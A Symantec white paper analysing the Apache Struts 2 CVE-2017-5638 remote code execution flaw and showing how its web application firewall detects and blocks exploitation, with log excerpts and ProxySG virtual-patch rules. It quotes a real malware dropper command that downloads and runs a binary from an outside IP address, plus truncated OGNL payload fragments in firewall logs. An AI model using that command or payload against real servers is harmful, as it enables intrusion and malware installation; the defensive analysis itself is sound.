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Introduction
Apache Struts is a popular open-source MVC web application framework for Java-based web applications. A zero–day security vulnerability
(CVE-2017-5638) against this framework is being actively exploited. It impacts the Jakarta-based multipart parser used in Struts 2.
Exploitation attempting to land remote code execution and command injection payloads has been identified.
The high-profile Apache Struts 2 breach last fall is, unfortunately, a security risk all companies handling sensitive customer information face.
Details of the breach are available here. The specific payload does not matter when using CVE-2017-5638 as the vector of attack, as there
are several proofs of concept (POCs) available and there are likely thousands of ways to exploit this vulnerability.
The Symantec Web Application Firewall solution leverages a unique Content Nature Detection approach that can correctly identify CVE-20175638 attacks without requiring a signature update or virtual patch. Symantec Web Application Firewall (WAF) customers are protected by
default, and no additional action is required.

What are the details of the Attack?
Many POC attack payloads are flooding the web, including this exploit in the Metasploit Framework: https://github.com/rapid7/metasploitframework/issues/8064. For our analysis, we use the python script from the core of this exploit. When running the script against a
vulnerable target:

The Wireshark packet capture shows the HTTP request:

The response from the vulnerable server contains the result of running the command as it would run on localhost. Command injection
chaining allows for truly powerful exploitation variants, from a simple “whoami” and “ls –l” sequences to sophisticated firewall and IDS
disabling as shown here.

How does Symantec WAF Mitigate the Attack?
Let’s deploy the Symantec Web Application Firewall (WAF) and observe how the attack is correctly detected and blocked. With the Symantec
WAF deployed in front of the vulnerable Struts server, the following response is returned:
urllib2.HTTPError: HTTP Error 400: Bad Request

Note: The WAF is configured by default to return Status 400 for blocked requests.
The WAF log for the request shows the Code Injection and Analytics Filter engines have identified the attack:
“Code Injection;Command Injection”
“[{“eng”:”injection.code”,”part”:”header”,”lang”:”java”,”data”:”%{(#_=’multipart…”},
{“eng”:”analytics_filter”,”part”:”header”,”rule”:[“AF-1006-3”,”AF-1006-20”,”AF-1006-21”,”AF-100652”],”data”:”%{(#_=’multipart…”}]”

The important aspect is that the Symantec WAF detected and blocked this attack without requiring a signature update. The log shows the
Symantec WAF correctly detects the value of Content-Type header as malicious and categorizes it as Code Injection and Command Injection.
Now if the attacker wants to gain a foothold on the compromised machine they might try a more elaborate Command Injection. For example,
this nasty payload from recently discovered Linux ARM ELF_IMEIJ.A malware:
wget -O /tmp/Arm1 http://192.154.108.2:8080/Arm1;chmod 0777 /tmp/Arm1;/tmp/Arm1;

This attack is quite unique as it includes Java code in addition to a bash command sequence. Despite the payload modification, the
Command Injection attack is detected correctly:
“Command Injection;Code Injection”
“[{“eng”:”injection.command”,”part”:”header”,”host”:”linux”,”version”:”3”,”data”:”%{(#_=’multipart…#cmd=’wge
t -O \/tmp\/Arm1 http:\/\/192.154.108.2:8080\/Arm1;chmod 0777 \/tmp\/Arm1;\/tmp\/Arm1;’…”},
{“eng”:”injection.command”,”part”:”header”,”host”:”osx”,”version”:”3”,”data”:”%{(#_=’multipart…cmd=’wget -O
\/tmp\/Arm1 http:\/\/192.154.108.2:8080\/Arm1;chmod 0777 \/tmp\/Arm1;\/tmp\/Arm1;’…”},
{“eng”:”injection.code”,”part”:”header”,”lang”:”php”,”data”:”%{(#_=’multipart…”},
{“eng”:”injection.code”,”part”:”header”,”lang”:”java”,”data”:”%{(#_=’multipart…”}]”
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What can we learn from last year’s breach?
As mentioned before, the high-profile Apache Struts 2 breach last fall is a reminder that companies handling sensitive customer information
face many known and unknown security threats. All companies that handle payment card information are subject to PCI DSS compliance.
Requirement 6.6 of the PCI DSS specifically provides two ways to comply: (1) conduct a web application vulnerability security assessment, or
(2) deploy a WAF in front of the web application.
Deploying the Symantec WAF is the strongest option to achieve PCI DSS 6.6 compliance. The Symantec WAF was designed to efficiently
detect Layer 7 attacks while minimizing operational overhead. This WAF approach also gives web application developers time to fix, patch
and validate changes before deploying updates to application servers while still maintaining security controls during this highly vulnerable
time. According to an article by IT World Canada, deploying the fix for the Apache Struts vulnerability can take months due to the significant
effort and risk of rewriting parts of the software required as part of the update. The WAF solution provides significant value in this situation.
WAF prevents attacks while application developers are still testing updates to their vulnerable web applications.
Unfortunately, many administrators run WAFs in monitor-only mode because of common problems front-ending complex applications.
Advanced features, such as a learning mode (Positive Security Model) can quickly make a WAF unmanageable if deployed in front of complex
and continually changing web applications. WAF admins respond by switching the appliance into a monitor-only mode or disabling security
features. On the other hand, using a Negative Security Model approach is a reactive control and cannot protect against many zero-day
attacks. We believe in a different approach. The Symantec WAF solution tackles these problems by leveraging a unique Content Nature
Detection strategy that identifies attacks such as CVE-2017-5638 without requiring a signature update, virtual patch, or learning mode. This
technique is less prone to false positives for identifying vulnerabilities, and in this example can provide zero-day attack protection without
any configuration change on the WAF.

Configuration
Symantec WAF customers were already protected before the Struts vulnerability was found due to its unique Content Nature
Detection approach.
Existing ProxySG customers who are not running WAF controls can deploy a virtual patch in policy for immediate protection. For example:
; ProxySG 6.5.x
<proxy>
request.header.Content-Type.substring=”%{(#” force_exception(invalid_request)
; ProxySG 6.6+
<proxy>
http.request.normalization.
default(“urlDecode:(path),urlDecode:(header),urlDecode:urlDecode:htmlEntityDecode:(arg_name,arg)”)
<proxy>
http.request[header].substring=”%{(#” force_exception(invalid_request)

Defense-in-Depth
Even though the Symantec ProxySG WAF provides protection for this CVE, it is important to employ a defense-in-depth strategy and deploy
multiple layers of security. If any specific layer is breached there are other layers providing complementary protection, making it extremely
difficult for attackers. Symantec offers an additional layer of protection, providing a two-tier comprehensive defense-in-depth solution.
Symantec offers the leading DLP solution on the market, and this is an additional layer of defense. Integrating DLP with the ProxySG WAF
allows for the scanning of all data leaving the application for violations and anomalies. If an attacker is somehow successful in breaching the
WAF, they must also evade the DLP policy that is scanning all traffic leaving the application to succeed in an attack.
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Conclusion
Even though a vulnerability is being exploited in the Apache Struts 2 framework, Symantec WAF customers are protected from the attack.
They do not require a signature update or virtual patch for protection. However, Symantec strongly advises a defense-in-depth approach by
upgrading all vulnerable Apache Struts versions to the appropriate patched versions.
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About Symantec WAF
Web-based apps and content are increasingly under attack. Symantec Web Application Firewall and Reverse Proxy, built on the industryleading ProxySG platform, secures and accelerates web applications. Protect your website from the OWASP Top 10. Block known attack
patterns with signature-based engines and use the most advanced signatureless content nature detection engines to detect obfuscation and
block new attacks.
• Get OWASP Top 10 coverage
• Analyze and scan inbound executables and files for malware
• Offload user authentication and SSL
• Improve application performance
• Monitor and apply policy to inbound connections

For More Information
Visit us online for additional resources at Symantec.com. To get started now or for help designing your WAF solution, contact your
Symantec channel partner or Symantec Systems Engineer.

About Symantec
Symantec Corporation (NASDAQ: SYMC), the world’s leading cyber security company, helps organizations, governments and people secure their most important data
wherever it lives. Organizations across the world look to Symantec for strategic, integrated solutions to defend against sophisticated attacks across endpoints, cloud and
infrastructure. Likewise, a global community of more than 50 million people and families rely on Symantec’s Norton and LifeLock product suites to protect their digital
lives at home and across their devices. Symantec operates one of the world’s largest civilian cyber intelligence networks, allowing it to see and protect against the most
advanced threats. For additional information, please visit www.symantec.com or connect with us on Facebook, Twitter, and LinkedIn.
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